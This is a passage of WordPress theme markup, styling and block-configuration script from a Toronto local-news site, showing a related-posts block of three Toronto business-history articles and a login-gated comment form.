.td-post-vid-time{position:absolute;z-index:2;bottom:0}.tdb-single-related-posts .td-category-pos-image .td-post-category{left:0}.tdb-single-related-posts .td-post-vid-time{right:0;background-color:#000;padding:3px 6px 4px;font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:10px;font-weight:600;line-height:1;color:#fff}.tdb-single-related-posts .td-module-title{font-family:var(--td_default_google_font_2,'Roboto',sans-serif);font-weight:500;font-size:13px;line-height:20px;margin:0}.tdb-single-related-posts .td-excerpt{margin:20px 0 0;line-height:21px}.tdb-single-related-posts .td-read-more,.tdb-single-related-posts .td-next-prev-wrap{margin:20px 0 0}.tdb-single-related-posts div.tdb-block-inner:after{content:''!important;padding:0;border:none}.tdb-single-related-posts .td-next-prev-wrap a{width:auto;height:auto;min-width:25px;min-height:25px}.single-tdb_templates .tdb-single-related-posts .td-next-prev-wrap a:active{pointer-events:none}.tdb-dummy-data{position:absolute;top:50%;left:50%;transform:translate(-50%);padding:8px 40px 9px;background:rgba(0,0,0,0.35);color:#fff;z-index:100;opacity:0;-webkit-transition:opacity 0.2s;transition:opacity 0.2s}.tdc-element:hover .tdb-dummy-data{opacity:1}.tdi_80 .td-image-wrap{padding-bottom:60%}.tdi_80 .entry-thumb{background-position:center 50%}.tdi_80 .td-module-container{flex-direction:column;box-shadow:@shadow;border-color:#eaeaea}.tdi_80 .td-image-container{display:block;order:0}.tdi_80 .td-module-meta-info{padding:25px 0 0 20px;border-color:#eaeaea;box-shadow:0px 4px 16px 0px rgba(22,35,58,0.1)}.tdi_80 .td_module_wrap{width:33.33333333%;float:left;padding-left:5px;padding-right:5px;padding-bottom:9px;margin-bottom:9px}.tdi_80 .tdb-block-inner{margin-left:-5px;margin-right:-5px}.tdi_80 .td-module-container:before{bottom:-9px;border-color:#eaeaea}.tdi_80{overflow:visible}.tdi_80 .td-post-vid-time{display:block}.tdi_80 .td-post-category{padding:0px;display:inline-block;background-color:rgba(255,255,255,0);color:#90a0af;font-family:Montserrat!important;font-size:12px!important;font-weight:700!important;text-transform:uppercase!important}.tdi_80 .td-author-photo .avatar{width:20px;height:20px;margin-right:6px;border-radius:50%}.tdi_80 .td-audio-player{opacity:1;visibility:visible;height:auto;font-size:13px}.tdi_80 .td-post-author-name{display:none;font-weight:700}
734.tdi_80 .td-post-date,.tdi_80 .td-post-author-name span{display:none;color:#90a0af}.tdi_80 .td-module-comments{display:none}.tdi_80 .td_module_wrap:nth-child(3n+1){clear:both}.tdi_80 .td_module_wrap:nth-last-child(-n+3){margin-bottom:0;padding-bottom:0}.tdi_80 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{display:none}.tdi_80 .td-post-category:hover{background-color:rgba(255,255,255,0)!important;color:#e2687e}.tdi_80 .td-module-title a{color:#172842}.tdi_80 .td_module_wrap:hover .td-module-title a{color:#e2687e!important}.tdi_80 .td-post-author-name a{color:#90a0af}.tdi_80 .td-post-author-name:hover a{color:#e2687e}.tdi_80 .td-excerpt{color:#90a0af;margin:0 20px 15px 0;column-count:1;column-gap:48px;font-family:Volkhov!important;font-size:13px!important;line-height:1.6!important}.tdi_80 .td-read-more a{background-color:#49c8d1;padding:12px 15px;font-family:Montserrat!important;font-size:12px!important;font-weight:700!important;text-transform:uppercase!important}.tdi_80 .td-read-more:hover a{background-color:#e2687e!important}.tdi_80 .entry-title{margin:15px 20px 15px 0;font-family:Montserrat!important;font-size:16px!important;line-height:1.3!important;font-weight:800!important}.tdi_80 .td-read-more{margin:0px;margin:10px 0 0 0}.tdi_80 .td-editor-date,.tdi_80 .td-editor-date .entry-date,.tdi_80 .td-post-author-name a,.tdi_80 .td-module-comments a{font-family:Montserrat!important;font-size:12px!important;font-weight:700!important;text-transform:uppercase!important}html:not([class*='ie']) .tdi_80 .td-module-container:hover .entry-thumb:before{opacity:0}@media (max-width:767px){.tdb-single-related-posts .td-module-title{font-size:17px;line-height:23px}}@media (min-width:1019px) and (max-width:1140px){.tdi_80 .td-module-meta-info{padding:25px 0 0 15px}.tdi_80 .td_module_wrap{padding-bottom:9px;margin-bottom:9px;clear:none!important;padding-bottom:9px!important;margin-bottom:9px!important}.tdi_80 .td-module-container:before{bottom:-9px}.tdi_80 .td_module_wrap:nth-child(3n+1){clear:both!important}.tdi_80 .td_module_wrap:nth-last-child(-n+3){margin-bottom:0!important;padding-bottom:0!important}.tdi_80 .td_module_wrap .td-module-container:before{display:block!important}.tdi_80 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{display:none!important}.tdi_80 .entry-title{margin:15px15px 15px 0;font-size:14px!important}.tdi_80 .td-excerpt{margin:0 15px 15px 0;font-size:11px!important}.tdi_80 .td-read-more a{padding:10px 12px}}@media (min-width:768px) and (max-width:1018px){.tdi_80 .td-module-meta-info{padding:20px 0 0 15px}.tdi_80 .td_module_wrap{padding-bottom:9px;margin-bottom:9px;clear:none!important;padding-bottom:9px!important;margin-bottom:9px!important}.tdi_80 .td-module-container:before{bottom:-9px}.tdi_80 .td_module_wrap:nth-child(3n+1){clear:both!important}.tdi_80 .td_module_wrap:nth-last-child(-n+3){margin-bottom:0!important;padding-bottom:0!important}.tdi_80 .td_module_wrap .td-module-container:before{display:block!important}.tdi_80 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{display:none!important}.tdi_80 .entry-title{margin:10px 15px 10px 0;font-size:12px!important}.tdi_80 .td-excerpt{margin:0 15px 10px 0;font-size:11px!important}.tdi_80 .td-post-category{font-size:10px!important}.tdi_80 .td-editor-date,.tdi_80 .td-editor-date .entry-date,.tdi_80 .td-post-author-name a,.tdi_80 .td-module-comments a{font-size:10px!important}.tdi_80 .td-read-more a{font-size:10px!important}}@media (max-width:767px){.tdi_80 .td_module_wrap{width:100%;float:left;padding-bottom:9px;margin-bottom:9px;padding-bottom:9px!important;margin-bottom:9px!important}.tdi_80 .td-module-container:before{bottom:-9px}.tdi_80 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_80 .td_module_wrap .td-module-container:before{display:block!important}.tdi_80 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_80 .entry-title{font-size:18px!important}}</style>
734<script>var block_tdi_80 = new tdBlock();
735block_tdi_80.id = "tdi_80";
736block_tdi_80.atts = '{"modules_on_row":"eyJhbGwiOiIzMy4zMzMzMzMzMyUiLCJwaG9uZSI6IjEwMCUifQ==","modules_category":"above","show_author":"none","show_date":"none","show_com":"none","show_excerpt":"","show_btn":"","ajax_pagination":"next_prev","hide_audio":"yes","custom_title":"","tdc_css":"eyJwb3J0cmFpdCI6eyJtYXJnaW4tYm90dG9tIjoiMjAiLCJkaXNwbGF5IjoiIn0sInBvcnRyYWl0X21heF93aWR0aCI6MTAxOCwicG9ydHJhaXRfbWluX3dpZHRoIjo3NjgsImxhbmRzY2FwZSI6eyJtYXJnaW4tYm90dG9tIjoiNDAiLCJkaXNwbGF5IjoiIn0sImxhbmRzY2FwZV9tYXhfd2lkdGgiOjExNDAsImxhbmRzY2FwZV9taW5fd2lkdGgiOjEwMTl9","f_title_font_family":"394","f_title_font_size":"eyJwb3J0cmFpdCI6IjEyIiwiYWxsIjoiMTYiLCJsYW5kc2NhcGUiOiIxNCIsInBob25lIjoiMTgifQ==","f_title_font_line_height":"1.3","f_title_font_weight":"800","f_title_font_transform":"","f_title_font_style":"","f_cat_font_weight":"700","f_cat_font_style":"","f_cat_font_transform":"uppercase","f_cat_font_family":"394","f_cat_font_size":"eyJhbGwiOiIxMiIsInBvcnRyYWl0IjoiMTAiLCJsYW5kc2NhcGUiOiIxMiIsInBob25lIjoiMTIifQ==","f_meta_font_family":"394","f_meta_font_size":"eyJhbGwiOiIxMiIsInBvcnRyYWl0IjoiMTAiLCJsYW5kc2NhcGUiOiIxMiIsInBob25lIjoiMTIifQ==","f_meta_font_transform":"uppercase","f_meta_font_weight":"700","f_ex_font_family":"638","f_ex_font_size":"eyJhbGwiOiIxMyIsImxhbmRzY2FwZSI6IjExIiwicG9ydHJhaXQiOiIxMSIsInBob25lIjoiMTMifQ==","f_ex_font_line_height":"1.6","f_btn_font_family":"394","f_btn_font_weight":"700","f_btn_font_transform":"uppercase","f_btn_font_size":"eyJhbGwiOiIxMiIsImxhbmRzY2FwZSI6IjEyIiwicG9ydHJhaXQiOiIxMCJ9","shadow_m_shadow_size":"16","shadow_m_shadow_offset_vertical":"4","shadow_m_shadow_color":"rgba(22,35,58,0.1)","excerpt_middle":"yes","modules_category_padding":"0","image_height":"60","meta_padding":"eyJhbGwiOiIyNXB4IDAgMCAyMHB4IiwibGFuZHNjYXBlIjoiMjVweCAwIDAgMTVweCIsInBvcnRyYWl0IjoiMjBweCAwIDAgMTVweCJ9","art_title":"eyJhbGwiOiIxNXB4IDIwcHggMTVweCAwIiwibGFuZHNjYXBlIjoiMTVweDE1cHggMTVweCAwIiwicG9ydHJhaXQiOiIxMHB4IDE1cHggMTBweCAwIn0=","art_excerpt":"eyJhbGwiOiIwIDIwcHggMTVweCAwIiwibGFuZHNjYXBlIjoiMCAxNXB4IDE1cHggMCIsInBvcnRyYWl0IjoiMCAxNXB4IDEwcHggMCJ9","title_txt":"#172842","title_txt_hover":"#e2687e","el_class":"td-gadgets-loop","art_btn":"0","btn_margin":"10px 0 0 0","btn_padding":"eyJhbGwiOiIxMnB4IDE1cHgiLCJsYW5kc2NhcGUiOiIxMHB4IDEycHgifQ==","btn_title":"Read","cat_bg":"rgba(255,255,255,0)","cat_bg_hover":"rgba(255,255,255,0)","cat_txt":"#90a0af","cat_txt_hover":"#e2687e","modules_gap":"10","author_txt":"#90a0af","author_txt_hover":"#e2687e","date_txt":"#90a0af","btn_bg":"#49c8d1","btn_bg_hover":"#e2687e","ex_txt":"#90a0af","mc1_el":"21","limit":3,"offset":"","live_filter":"cur_post_same_author","td_ajax_filter_type":"td_custom_related","live_filter_cur_post_id":3775,"live_filter_cur_post_author":"469","block_type":"tdb_single_related_author","separator":"","block_template_id":"","title_tag":"","mc1_tl":"","mc1_title_tag":"","related_articles_posts_limit":"","related_articles_posts_offset":"","nextprev":"","container_width":"","m_padding":"","all_modules_space":"","modules_border_size":"","modules_border_style":"","modules_border_color":"#eaeaea","modules_divider":"","modules_divider_color":"#eaeaea","shadow_shadow_header":"","shadow_shadow_title":"Shadow","shadow_shadow_size":"","shadow_shadow_offset_horizontal":"","shadow_shadow_offset_vertical":"","shadow_shadow_spread":"","shadow_shadow_color":"","h_effect":"","image_size":"","image_alignment":"50","image_width":"","image_floated":"no_float","image_radius":"","hide_image":"","video_icon":"","video_popup":"yes","video_rec":"","spot_header":"","video_rec_title":"- Advertisement -","video_rec_color":"","video_rec_disable":"","show_vid_t":"block","vid_t_margin":"","vid_t_padding":"","video_title_color":"","video_title_color_h":"","video_bg":"","video_overlay":"","vid_t_color":"","vid_t_bg_color":"","f_vid_title_font_header":"","f_vid_title_font_title":"Video pop-up article title","f_vid_title_font_settings":"","f_vid_title_font_family":"","f_vid_title_font_size":"","f_vid_title_font_line_height":"","f_vid_title_font_style":"","f_vid_title_font_weight":"","f_vid_title_font_transform":"","f_vid_title_font_spacing":"","f_vid_title_":"","f_vid_time_font_title":"Video duration text","f_vid_time_font_settings":"","f_vid_time_font_family":"","f_vid_time_font_size":"","f_vid_time_font_line_height":"","f_vid_time_font_style":"","f_vid_time_font_weight":"","f_vid_time_font_transform":"","f_vid_time_font_spacing":"","f_vid_time_":"","meta_info_align":"","meta_info_horiz":"content-horiz-left","meta_width":"","meta_margin":"","excerpt_col":"1","excerpt_gap":"","art_audio":"","art_audio_size":"1.5","meta_info_border_size":"","meta_info_border_style":"","meta_info_border_color":"#eaeaea","modules_category_spacing":"","modules_category_radius":"0","show_cat":"inline-block","author_photo":"","author_photo_size":"","author_photo_space":"","author_photo_radius":"","show_modified_date":"","time_ago":"","time_ago_add_txt":"ago","time_ago_txt_pos":"","show_audio":"block","btn_border_width":"","btn_radiu
736s":"","pag_space":"","pag_padding":"","pag_border_width":"","pag_border_radius":"","prev_tdicon":"","next_tdicon":"","pag_icons_size":"","f_header_font_header":"","f_header_font_title":"Block header","f_header_font_settings":"","f_header_font_family":"","f_header_font_size":"","f_header_font_line_height":"","f_header_font_style":"","f_header_font_weight":"","f_header_font_transform":"","f_header_font_spacing":"","f_header_":"","f_ajax_font_title":"Ajax categories","f_ajax_font_settings":"","f_ajax_font_family":"","f_ajax_font_size":"","f_ajax_font_line_height":"","f_ajax_font_style":"","f_ajax_font_weight":"","f_ajax_font_transform":"","f_ajax_font_spacing":"","f_ajax_":"","f_more_font_title":"Load more button","f_more_font_settings":"","f_more_font_family":"","f_more_font_size":"","f_more_font_line_height":"","f_more_font_style":"","f_more_font_weight":"","f_more_font_transform":"","f_more_font_spacing":"","f_more_":"","f_title_font_header":"","f_title_font_title":"Article title","f_title_font_settings":"","f_title_font_spacing":"","f_title_":"","f_cat_font_title":"Article category tag","f_cat_font_settings":"","f_cat_font_line_height":"","f_cat_font_spacing":"","f_cat_":"","f_meta_font_title":"Article meta info","f_meta_font_settings":"","f_meta_font_line_height":"","f_meta_font_style":"","f_meta_font_spacing":"","f_meta_":"","f_ex_font_title":"Article excerpt","f_ex_font_settings":"","f_ex_font_style":"","f_ex_font_weight":"","f_ex_font_transform":"","f_ex_font_spacing":"","f_ex_":"","f_btn_font_title":"Article read more button","f_btn_font_settings":"","f_btn_font_line_height":"","f_btn_font_style":"","f_btn_font_spacing":"","f_btn_":"","mix_color":"","mix_type":"","fe_brightness":"1","fe_contrast":"1","fe_saturate":"1","mix_color_h":"","mix_type_h":"","fe_brightness_h":"1","fe_contrast_h":"1","fe_saturate_h":"1","m_bg":"","color_overlay":"","meta_bg":"","com_bg":"","com_txt":"","shadow_m_shadow_header":"","shadow_m_shadow_title":"Meta info shadow","shadow_m_shadow_offset_horizontal":"","shadow_m_shadow_spread":"","audio_btn_color":"","audio_time_color":"","audio_bar_color":"","audio_bar_curr_color":"","btn_txt":"","btn_txt_hover":"","btn_border":"","btn_border_hover":"","nextprev_icon":"","nextprev_icon_h":"","nextprev_bg":"","nextprev_bg_h":"","nextprev_border":"","nextprev_border_h":"","td_column_number":2,"header_color":"","ajax_pagination_infinite_stop":"","td_ajax_preloading":"","td_filter_default_txt":"","td_ajax_filter_ids":"","color_preset":"","ajax_pagination_next_prev_swipe":"","border_top":"","css":"","class":"tdi_80","tdc_css_class":"tdi_80","tdc_css_class_
736style":"tdi_80_rand_style"}';
737block_tdi_80.td_column_number = "2";
738block_tdi_80.block_type = "tdb_single_related_author";
739block_tdi_80.post_count = "3";
740block_tdi_80.found_posts = "71";
741block_tdi_80.header_color = "";
742block_tdi_80.ajax_pagination_infinite_stop = "";
743block_tdi_80.max_num_pages = "24";
744tdBlocksArray.push(block_tdi_80);
745</script>
745<div id=tdi_80 class="td_block_inner tdb-block-inner td-fix-index">
746        <div class="tdb_module_related td_module_wrap td-animation-stack">
747            <div class="td-module-container td-category-pos-above">
748                                    <div class="td-image-container">
749                                                <div class="td-module-thumb"><a href="https://toronto1.one/en/eternal/toronto-eaton-centre-the-history-and-development-of-the-shopping-landmark-6166"  rel="bookmark" class="td-image-wrap " title="Toronto Eaton Centre: The History and Development of the Shopping Landmark" ><span class="entry-thumb td-thumb-css td-animation-stack-type0-2" data-type="css_image" data-img-url="https://cdn.toronto1.one/wp-content/uploads/sites/35/2025/04/tec-image_5f4121bb-5056-a36f-2349806c08aa8ee9-696x432.jpg"   style="background-image:url('https://cdn.toronto1.one/wp-content/uploads/sites/35/2025/04/tec-image_5f4121bb-5056-a36f-2349806c08aa8ee9-696x432.jpg');opacity:1;background-size:cover;background-position:center center"></span></a></div>                                            </div>
750                
751                <div class="td-module-meta-info">
752                    <a href="https://toronto1.one/en/business" class="td-post-category">Business</a>
753                    <h3 class="entry-title td-module-title"><a href="https://toronto1.one/en/eternal/toronto-eaton-centre-the-history-and-development-of-the-shopping-landmark-6166"  rel="bookmark" title="Toronto Eaton Centre: The History and Development of the Shopping Landmark">Toronto Eaton Centre: The History and Development of the Shopping Landmark</a></h3>
754                    <div class="td-excerpt">
755The city of Toronto is striking with its large number of buildings, shopping centers, and business establishments. The metropolis is...</div>
756                    <div class="td-editor-date">
757                        
758                        <span class="td-author-date">
759                                                                                                                                                                    </span>
760                    </div>
761
762                    
763                    
764                                        <div class="td-read-more">
765                        <a href="https://toronto1.one/en/eternal/toronto-eaton-centre-the-history-and-development-of-the-shopping-landmark-6166">Read</a>
766                    </div>
767                                    </div>
768            </div>
769        </div>
770
771        
772        <div class="tdb_module_related td_module_wrap td-animation-stack">
773            <div class="td-module-container td-category-pos-above">
774                                    <div class="td-image-container">
775                                                <div class="td-module-thumb"><a href="https://toronto1.one/en/eternal/don-valley-brick-works-from-brick-factory-to-environmental-hub-6154"  rel="bookmark" class="td-image-wrap " title="Don Valley Brick Works: From Brick Factory to Environmental Hub" ><span class="entry-thumb td-thumb-css td-animation-stack-type0-2" data-type="css_image" data-img-url="https://cdn.toronto1.one/wp-content/uploads/sites/35/2025/04/1-696x435.jpg"   style="background-image:url('https://cdn.toronto1.one/wp-content/uploads/sites/35/2025/04/1-696x435.jpg');opacity:1;background-size:cover;background-position:center center"></span></a></div>                                            </div>
776                
777                <div class="td-module-meta-info">
778                    <a href="https://toronto1.one/en/business" class="td-post-category">Business</a>
779                    <h3 class="entry-title td-module-title"><a href="https://toronto1.one/en/eternal/don-valley-brick-works-from-brick-factory-to-environmental-hub-6154"  rel="bookmark" title="Don Valley Brick Works: From Brick Factory to Environmental Hub">Don Valley Brick Works: From Brick Factory to Environmental Hub</a></h3>
780                    <div class="td-excerpt">
781Toronto is considered the economic centre of Canada. It is in our city that many business centres, institutions, and organizations...</div>
782                    <div class="td-editor-date">
783                        
784                        <span class="td-author-date">
785                                                                                                                                                                    </span>
786                    </div>
787
788                    
789                    
790                                        <div class="td-read-more">
791                        <a href="https://toronto1.one/en/eternal/don-valley-brick-works-from-brick-factory-to-environmental-hub-6154">Read</a>
792                    </div>
793                                    </div>
794            </div>
795        </div>
796
797        
798        <div class="tdb_module_related td_module_wrap td-animation-stack">
799            <div class="td-module-container td-category-pos-above">
800                                    <div class="td-image-container">
801                                                <div class="td-module-thumb"><a href="https://toronto1.one/en/eternal/local-business-history-ontario-place-torontos-iconic-entertainment-destination-6156"  rel="bookmark" class="td-image-wrap " title="Local Business History: Ontario Place — Toronto’s Iconic Entertainment Destination" ><span class="entry-thumb td-thumb-css td-animation-stack-type0-2" data-type="css_image" data-img-url="https://cdn.toronto1.one/wp-content/uploads/sites/35/2025/04/42285_signature_ontarioplace-696x392.jpg"   style="background-image:url('https://cdn.toronto1.one/wp-content/uploads/sites/35/2025/04/42285_signature_ontarioplace-696x392.jpg');opacity:1;background-size:cover;background-position:center center"></span></a></div>                                            </div>
802                
803                <div class="td-module-meta-info">
804                    <a href="https://toronto1.one/en/business" class="td-post-category">Business</a>
805                    <h3 class="entry-title td-module-title"><a href="https://toronto1.one/en/eternal/local-business-history-ontario-place-torontos-iconic-entertainment-destination-6156"  rel="bookmark" title="Local Business History: Ontario Place — Toronto’s Iconic Entertainment Destination">Local Business History: Ontario Place — Toronto’s Iconic Entertainment Destination</a></h3>
806                    <div class="td-excerpt">
807Toronto is an astonishing city, with its impressive architecture, vibrant economic activity, and modern technologies. It is a city of...</div>
808                    <div class="td-editor-date">
809                        
810                        <span class="td-author-date">
811                                                                                                                                                                    </span>
812                    </div>
813
814                    
815                    
816                                        <div class="td-read-more">
817                        <a href="https://toronto1.one/en/eternal/local-business-history-ontario-place-torontos-iconic-entertainment-destination-6156">Read</a>
818                    </div>
819                                    </div>
820            </div>
821        </div>
822
823        </div></div>
824
825<script>
826
827var tdb_login_sing_in_shortcode="on";
828
829</script>
829
830
831<div class="td_block_wrap tdb_single_comments tdi_81 tdb-comm-layout2 td-pb-border-top td_block_template_2"  data-td-block-uid="tdi_81" >
832<style>
833.td_block_template_2.widget > ul > li {
834                margin-left: 0 !important;
835            }
836            
837            .td_block_template_2 .td-block-title {
838                font-size: 17px;
839                font-weight: 500;
840                margin-top: 0;
841                margin-bottom: 16px;
842                line-height: 31px;
843                text-align: left;
844            }
845            .td_block_template_2 .td-block-title > * {
846                color: var(--td_text_header_color, #000);
847            }
848            .td_block_template_2 .td-related-title a {
849                padding: 0 20px 0 0;
850            }
851            @media (max-width: 767px) {
852                .td_block_template_2 .td-related-title a {
853                    font-size: 15px;
854                }
855            }
856            .td_block_template_2 .td-related-title .td-cur-simple-item {
857                color: var(--td_theme_color, #4db2ec);
858            }
859            
860            
861            
862            
863            .td-theme-wrap .tdi_81 .td-block-title > *,
864            .td-theme-wrap .tdi_81 .td-pulldown-filter-link:hover,
865            .td-theme-wrap .tdi_81 .td-subcat-item a:hover,
866            .td-theme-wrap .tdi_81 .td-subcat-item .td-cur-simple-item,
867            .td-theme-wrap .tdi_81 .td-subcat-dropdown:hover .td-subcat-more span,
868            .td-theme-wrap .tdi_81 .td-subcat-dropdown:hover .td-subcat-more i {
869                color: #172842;
870            }
871
872            .td-theme-wrap .tdi_81 .td-subcat-dropdown ul:after {
873                background-color: #172842;
874            }
875            
876            
877            .td-theme-wrap .tdi_81 .td_module_wrap:hover .entry-title a,
878            .td-theme-wrap .tdi_81 .td_quote_on_blocks,
879            .td-theme-wrap .tdi_81 .td-opacity-cat .td-post-category:hover,
880            .td-theme-wrap .tdi_81 .td-opacity-read .td-read-more a:hover,
881            .td-theme-wrap .tdi_81 .td-opacity-author .td-post-author-name a:hover,
882            .td-theme-wrap .tdi_81 .td-instagram-user a {
883                color: #e2687e;
884            }
885
886            .td-theme-wrap .tdi_81 .td-next-prev-wrap a:hover,
887            .td-theme-wrap .tdi_81 .td-load-more-wrap a:hover {
888                background-color: #e2687e;
889                border-color: #e2687e;
890            }
891
892            .td-theme-wrap .tdi_81 .td-read-more a,
893            .td-theme-wrap .tdi_81 .td-weather-information:before,
894            .td-theme-wrap .tdi_81 .td-weather-week:before,
895            .td-theme-wrap .tdi_81 .td-exchange-header:before,
896            .td-theme-wrap .td-footer-wrapper .tdi_81 .td-post-category,
897            .td-theme-wrap .tdi_81 .td-post-category:hover {
898                background-color: #e2687e;
899            }
900</style>
901<style>.tdb_single_comments input[type=text]{min-height:34px;height:auto}.tdb_single_comments .comments,.tdb_single_comments .comment-respond:last-child,.tdb_single_comments .form-submit{margin-bottom:0}.is-visually-hidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.tdb-comm-layout3 form,.tdb-comm-layout5 form{display:flex;flex-wrap:wrap}.tdb-comm-layout3 .td-form-comment,.tdb-comm-layout5 .td-form-comment,.tdb-comm-layout3 .form-submit,.tdb-comm-layout5 .form-submit{flex:0 0 100%;order:1}.tdb-comm-layout3 .td-form-author,.tdb-comm-layout3 .td-form-email,.tdb-comm-layout3 .td-form-url{flex:0 0 32%}.tdb-comm-layout5 .td-form-author,.tdb-comm-layout5 .td-form-email{flex:0 0 49%}.tdb-comm-layout5 .td-form-url{flex:0 0 100%}.tdb-comm-leave_reply_top .comments{display:flex;flex-direction:column}.tdb-comm-leave_reply_top .td-comments-title{order:0;margin-bottom:14px}.tdb-comm-leave_reply_top .comment-respond .form-submit{order:1;margin-bottom:21px}.tdb-comm-leave_reply_top .comment-list{order:2}.tdb-comm-leave_reply_top .comment-pagination{order:3}.tdi_81 cite,.tdi_81 cite a{color:#172842}.tdi_81 cite a:hover{color:#e2687e}.tdi_81 .comment-link{color:#90a0af;display:inline-block}.tdi_81 .comment-link:hover{color:#e2687e}.tdi_81 .comment-content{color:#90a0af}.tdi_81 .comment-reply-link{color:#e2687e;font-family:Montserrat!important;font-size:12px!important}.tdi_81 .comment-edit-link{color:#e2687e}.tdi_81 .comment-edit-link:hover{color:#172842}.tdi_81 .comment-reply-link:hover,.tdi_81 #cancel-comment-reply-link:hover,.tdi_81 .logged-in-as a:hover{color:#172842}.tdi_81 .comment{border-bottom-width:0px;border-bottom-style:dashed}.tdi_81 .comment .children{border-top-width:0px;border-top-style:dashed}.tdi_81 .comment-reply-title{color:#172842;font-family:Montserrat!important;font-weight:800!important}.tdi_81 input[type=text],.tdi_81 textarea{background-color:#f4f4f4;color:#90a0af;font-family:Volkhov!important;font-size:13px!important;font-weight:700!important}.tdi_81 input[type=text]:active,.tdi_81 textarea:active,.tdi_81 input[type=text]:focus,.tdi_81 textarea:focus{background-color:#f4f4f4}.tdi_81 input[type=text]::placeholder,.tdi_81 textarea::placeholder{color:#90a0af}.tdi_81 input[type=text]:-ms-input-placeholder,.tdi_81 textarea:-ms-input-placeholder{color:#90a0af!important}.tdi_81 input,.tdi_81 textarea{border-width:0px!important}.tdi_81 .comment-form .submit{background-color:#49c8d1;padding:12px 25px;font-family:Montserrat!important;text-transform:uppercase!important}.tdi_81 .avatar{border-radius:50px}.tdi_81 .td-comments-title a,.tdi_81 .td-comments-title span{font-family:Montserrat!important;font-size:24px!important;line-height:1.2!important;font-weight:800!important;text-transform:none!important}.tdi_81 cite{font-family:Montserrat!important;font-size:18px!important;text-transform:capitalize!important}.tdi_81 .comment-link,.tdi_81 .comment-edit-link{font-family:Montserrat!important;font-size:14px!important;text-transform:uppercase!important}.tdi_81 .comment-content p{font-family:Volkhov!important;font-size:15px!important;line-height:1.6!important}.tdi_81 .comment-form-cookies-consent label,.tdi_81 .logged-in-as,.tdi_81 .logged-in-as a,.tdi_81 .td-closed-comments{font-family:Montserrat!important;font-size:12px!important}@media (min-width:767px){.tdb-comm-layout2 form,.tdb-comm-layout4 form{margin:0 -10px}.tdb-comm-layout2 .logged-in-as,.tdb-comm-layout4 .logged-in-as,.tdb-comm-layout2 .comment-form-input-wrap,.tdb-comm-layout4 .comment-form-input-wrap,.tdb-comm-layout2 .form-submit,.tdb-comm-layout4 .form-submit,.tdb-comm-layout2 .comment-respond p,.tdb-comm-layout4 .comment-respond p{padding:0 10px}.tdb-comm-layout2 .td-form-author,.tdb-comm-layout2 .td-form-email{float:left;width:33.3333%}.tdb-comm-layout2 .td-form-url{width:33.3333%}.tdb-comm-layout2 .td-form-url{float:left}.tdb-comm-layout4 .td-form-author,.tdb-comm-layout4 .td-form-email{float:left;width:50%}.tdb-comm-layout3 .td-form-author,.tdb-comm-layout5 .td-form-author,.tdb-comm-layout3 .td-form-email{margin-right:2%}}@media (max-width:767px){.tdb-comm-layout3 .td-form-author,.tdb-comm-layout3 .td-form-email,.tdb-comm-layout3 .td-form-url,.tdb-comm-layout5 .td-form-author,.tdb-comm-layout5 .td-form-email{flex:0 0 100%}}@media (min-width:1019px) and (max-width:1140px){.tdi_81 .td-comments-title a,.tdi_81 .td-comments-title span{font-size:20px!important}.tdi_81 cite{font-size:16px!important}.tdi_81 .comment-link,.tdi_81 .comment-edit-link{font-size:12px!important}.tdi_81 .comment-content p{font-size:13px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_81 .comment-form .submit{padding:10px 14px}.tdi_81 .td-comments-title a,.tdi_81 .td-comments-title span{font-size:18px!important}.tdi_81 cite{font-size:14px!important}.tdi_81 .comment-link,.tdi_81 .comment-edit-link{font-size:10px!important}.tdi_81 .comment-content p{font-size:13px!important}.tdi_81 input[type=text],.tdi_81 textarea{font-size:11px!important}}@media (max-width:767px){.tdi_81 .td-comments-title a,.tdi_81 .td-comments-title span{font-size:18px!important}.tdi_81 cite{font-size:14px!important}.tdi_81 .comment-link,.tdi_81 .comment-edit-link{font-size:10px!important}.tdi_81 .comment-content p{font-size:13px!important}.tdi_81 input[type=text],.tdi_81 textarea{font-size:11px!important}.tdi_81 .comment-form .submit{font-size:12px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="comments" id="comments">	<div id="respond" class="comment-respond">
902		<h3 id="reply-title" class="comment-reply-title">LEAVE A REPLY <small><a rel="nofollow" id="cancel-comment-reply-link" href="/en/eternal/w
902hat-were-torontos-first-newspapers-about-3775#respond" style="display:none;">Cancel reply</a></small></h3><p class="must-log-in td-login-comment"><a class="td-login-modal-js" data-effect="mpf-td-login-effect" href="#login-form">Log in to leave a comment</a></p>	</div><!-- #respond -->
903	</div></div></div></div></div></div><div class="vc_column_inner tdi_83  wpb_column vc_column_container tdc-inner-column td-pb-span4 td-is-sticky">
904<style scoped>.tdi_83{vertical-align:baseline}.tdi_83 .vc_column-inner>.wpb_wrapper,.tdi_83 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_83 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}</style><div class="vc_column-inner"><div class="wpb_wrapper" data-sticky-enabled-on="W3RydWUsdHJ1ZSx0cnVlLHRydWVd" data-sticky-offset="20" data-sticky-is-width-auto="W2ZhbHNlLGZhbHNlLGZhbHNlLGZhbHNlXQ=="><div class="td_block_wrap tdb_single_related tdi_84 td_with_ajax_pagination td-pb-border-top td_block_template_1 tdb-single-related-posts"  data-td-block-uid="tdi_84" >
905<style>@media (min-width:768px) and (max-width:1018px){.tdi_84{margin-bottom:30px!important}}</style>
